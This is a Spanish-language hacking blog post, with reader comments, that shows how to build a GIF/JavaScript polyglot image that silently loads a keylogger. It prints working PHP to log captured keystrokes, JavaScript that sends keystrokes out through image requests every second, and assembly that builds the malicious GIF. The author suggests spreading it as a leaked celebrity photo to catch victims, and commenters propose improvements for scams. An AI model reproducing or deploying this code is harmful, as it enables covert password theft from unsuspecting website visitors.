Tú mira este gif tan gracioso... y yo mientras te robo tus contraseñas (o el GIF que también quería ser Javascript)

Ange Albertini (padre de Angecryption que más adelante veremos) es sin duda un auténtico mago a la hora de crear binarios "políglotas", que son ficheros que tienen simultáneamente varios formatos. Por ejemplo PDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP, TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los hackers"piratas informáticos", es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo.

Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...

Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD

Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

keylogger.php

<?php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

keylogger.js

var keys = '';
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}
window.setInterval(function(){
    new Image().src = 'http://localhost/keylogger.php?c=' + keys;
    keys = '';
}, 1000);


index.html

<img src="img.gif" />
<script src="img.gif"></script>

Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:


WIDTH equ 10799 ;  equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ 100 ; sólo para que sea más fácil de detectar
db 'GIF89a'
    dw WIDTH, HEIGTH
db 0 ; GCT
    db -1 ; color de fondo
    db 0 ; relación de aspecto por defecto
db 02ch  ; descriptor de imagen
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; ancho y alto de la imagen
    db 0 ; color de la tabla
db 2 ; tamaño lzw
db 0
db 3bh ; terminador del gif
db '*/' ; cierre del comentario
db '=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db 's = document.createElement("script");' 
db 's.src = "http://localhost/keylogger.js";'
db 'document.body.appendChild(s);'

El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:

yasm gifjs.asm -o img.gif



Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:






Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser jodido comprometido... ;)


Comentarios

  1. qué cabroooooon! lo del gif del final no será malo!

    ResponderEliminar
    Respuestas
    1. yo avisaba en el título del post... jajaja
      qué no es nada, no te preocupes...

      Eliminar
  2. pero de que serviria ese script si solo se ejecuta en el documento actual, nadie escribe contrase;as sobre la pagina que muestra solo una imagen, tiene que estar presente esa imagen en donde este el mismo formulario de logueo

    ResponderEliminar
    Respuestas
    1. o seguiría funcionando mientras en otra ventana se les ocurre hacer login? si no la cerró, claro

      Eliminar
    2. Seguiría funcionando siempre que no se cierre la pestaña o ventana del navegador :)

      Eliminar
    3. Esto es una PoC... Lo suyo es añadirle algo mas de contenido hombre XD

      Eliminar
    4. Hombre seguira funcionando dentro de esa pestaña, como es obvio no afecta al resto de pestañas por mucho que la dejes abierta, por lo menos en ese poc.

      Eliminar
    5. Si eso es. Quizás no me expliqué antes mejor

      Eliminar
  3. no tienes un vídeo sobre esto ? ;)

    ResponderEliminar
  4. Hermosa técnica, ojalá la ilustraran mejor con información más prolongada, creo que los vectores de ataque son diversos con éste método.
    pedazo de tutorial!

    ResponderEliminar
    Respuestas
    1. gracia y descuida, haremos algo más sobre estos "polibinarios"

      Eliminar
  5. Hola!
    Interesante artículo!... Solamente comentar un par de dudillas..

    Al principio probé con la imagen de los memes, y no funcionó.
    Al abrirla con un editor hex parece que en los offset 6 y 7 no hay 2F 2A (/*).
    Al sobreescribir esos offset a mano para poner el inicio de comentario, Firefox se sigue quejando:
    SyntaxError: illegal character img.gif:917
    La codificación de caracteres del documento HTML no ha sido declarada. El documento se mostrará con texto "basura" en algunas configuraciones de navegador si el documento contiene caracteres externos al rango US-ASCII. La codificación de caracteres de la página debe ser declarada en el documento o en el protocolo de transferencia.

    Sin embargo al hacerlo de cero desde ensamblador, funciona a la perfección; probé a modificar otro GIF cualquiera, sobreescribiendo los últimos bytes, que eran metadatos, con el */=1, etc.. y perfecto =)

    Pero aún me surge la duda de si capturaría las teclas en otras pestañas, dado que he probado con Chrome y Firefox y no, aún teniendo la pestaña 'maligna' abierta, no captura pulsaciones de ninguna otra pestaña que no sea ella misma; ¿quizá sería más útil en un escenario XSS?

    ResponderEliminar
  6. caben perfectament en los scams ahora no pediran contraseñas, solo redireccionan a la real y de ahi cachan

    ResponderEliminar
  7. esta genial la tecnica, ahora seria bueno dejar el .js como plugin para el browser.

    ResponderEliminar
  8. Es una buena costumbre referenciar a la fuente orifinal: http://iamajin.blogspot.com.es/2014/11/when-gifs-serve-javascript.html

    ResponderEliminar
  9. Más si la duda que preguntas al autor la tienen los que leen tu post:

    Vicente Motos3 November 2014 07:25
    hi i'm testing but it does't work. I'm using Chrome 38.0.2125.111. any ideas?

    Reply

    ResponderEliminar
    Respuestas
    1. Ver "Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic." y enlaces...aunque el verdadero padre de todo esto es Ange Albertini el cual nombramos al principio del post...

      Eliminar
  10. También podemos reemplazar la linea siguiente:
    fwrite($logfile, $_GET['c']);
    por:
    fwrite($logfile, utf8_decode($_GET['c']));

    De manera de captar correctamente los caracteres especiales de nuestro idioma. Sino una ñ aparecería como ñ por ejemplo. ;)

    ResponderEliminar
  11. Despues de analizar el código y la presentación de AngeCryption (https://code.google.com/p/corkami/source/browse/trunk/src/angecryption/slides/AngeCryption.pdf?r=1906), veo que esto no es más que la aplicación de AES a un archivo cualquiera y luego modificar bytes no reservados del archivo para ocultar datos tales como tumbnails, adicionar al final del archivo, entre otras técnicas débiles de esteganografía.

    ResponderEliminar
  12. con un video nos ilustras mejor no llege a correrla

    ResponderEliminar
  13. Jejeje el gif de los memes tambien esta trucado! Ahora una pregunta mi pana, no soy muy diestro en esto del Assembler, pero.. Mi pregunta es: Si le voy a insertar este hex es al final como hiciste el gif de los memes?

    ResponderEliminar

Publicar un comentario